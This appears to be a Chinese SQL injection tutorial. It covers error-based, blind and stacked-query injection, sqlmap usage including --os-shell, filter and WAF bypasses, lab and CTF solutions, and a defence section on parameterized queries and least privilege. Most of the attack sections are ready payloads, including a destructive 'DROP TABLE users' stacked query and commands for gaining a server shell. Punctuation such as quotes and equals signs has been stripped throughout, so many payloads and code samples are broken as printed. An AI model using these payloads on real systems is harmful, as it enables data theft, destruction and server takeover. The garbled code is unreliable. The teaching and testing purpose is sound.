1. SQL注入基础概念解析SQL注入SQL Injection是Web安全领域最常见的攻击手段之一它通过在用户输入中插入恶意SQL代码欺骗后端数据库执行非预期的命令。这种攻击方式最早出现在1998年至今仍是OWASP Top 10安全威胁的常客。在实际渗透测试中我遇到过各种千奇百怪的注入场景。比如某次审计时发现一个简单的搜索框输入 or 11--就能直接获取整张用户表的数据。这种漏洞的危害性在于攻击者不仅能够读取敏感数据还可能修改、删除数据库内容甚至获取服务器控制权。2. SQL注入类型全解2.1 基于报错的注入Error-based当网站直接显示数据库错误信息时攻击者可以故意构造错误语句来获取数据库结构。典型的Payload如 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--注意报错注入在MySQL 5.7版本中部分函数已被限制但仍有替代方案2.2 布尔盲注Boolean-based Blind当页面不显示错误但会根据SQL条件返回不同内容时使用。通过逐个字符猜测数据 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)a--2.3 时间盲注Time-based Blind通过延时函数判断条件真假如MySQL的sleep() AND IF(SUBSTRING(database(),1,1)a,sleep(5),0)--2.4 堆叠查询Stacked Queries利用分号执行多条语句需后端支持多语句执行; DROP TABLE users;--3. 手工注入全流程实战3.1 信息收集阶段判断注入点尝试在参数后添加单引号观察是否报错确定数据库类型MySQLversion()、versionMSSQLversionOracleSELECT banner FROM v$version3.2 数据库结构探测获取所有数据库名MySQL示例 UNION SELECT schema_name,1 FROM information_schema.schemata--获取指定表名 UNION SELECT table_name,1 FROM information_schema.tables WHERE table_schemadvwa--3.3 数据提取技巧绕过字段数限制的小技巧 UNION SELECT CONCAT(user,:,password),1 FROM users--4. 自动化工具进阶4.1 SQLMap高效利用基础扫描命令sqlmap -u http://target.com/page?id1 --risk3 --level5获取OS-shell的高级参数sqlmap -u http://target.com/page?id1 --os-shell4.2 常见绕过技巧大小写混淆 UnIoN SeLeCt 1,2,3--注释符替换 AND 11/*! AND */22双重URL编码%2527%2520OR%25201%253D1--5. 防御方案深度剖析5.1 代码层防护参数化查询Java示例String query SELECT * FROM users WHERE id ?; PreparedStatement stmt connection.prepareStatement(query); stmt.setInt(1, userId);输入过滤白名单PHP示例if (!preg_match(/^[0-9]$/, $_GET[id])) { die(Invalid input); }5.2 架构层防护WAF规则配置示例ModSecuritySecRule ARGS detectSQLi id:1000,deny,status:403数据库权限最小化GRANT SELECT ON dvwa.* TO webuserlocalhost;6. 靶场实战精讲6.1 DVWA靶场通关要点Low级别直接注入 or 11Medium级别处理转义字符1 OR 11#High级别利用二次注入; SELECT * FROM users--6.2 Pikachu靶场特殊技巧宽字节注入案例%df UNION SELECT 1,2,3--7. CTF比赛中的花式注入7.1 过滤绕过实例当select被过滤时/*!12345SELECT*/ 1,2,3--7.2 无列名注入技巧通过别名获取数据 UNION SELECT 1,(SELECT 2 FROM (SELECT 1,2,3 UNION SELECT * FROM users)a LIMIT 1,1),3--8. 企业级漏洞修复方案代码审计流程检查所有SQL拼接点验证预处理语句使用情况测试边界值输入应急响应步骤graph TD A[发现注入] -- B[封禁攻击IP] B -- C[备份数据库] C -- D[分析日志] D -- E[修补漏洞]9. 新型注入手法追踪JSON注入 AND JSON_EXTRACT({a:1},$.a)1--NoSQL注入username[$ne]1password[$ne]110. 开发者自查清单[ ] 是否所有SQL都使用参数化查询[ ] 是否禁用数据库错误回显[ ] 是否实施最小权限原则[ ] 是否定期进行安全扫描在最近一次红队行动中我们发现某系统虽然使用了预处理语句但通过精心构造的PDO参数仍然实现了注入。这提醒我们安全防护需要多层防御单一措施往往不够。建议每季度至少进行一次全面的SQL注入检测可以使用sqlmap的tamper脚本测试各种绕过场景。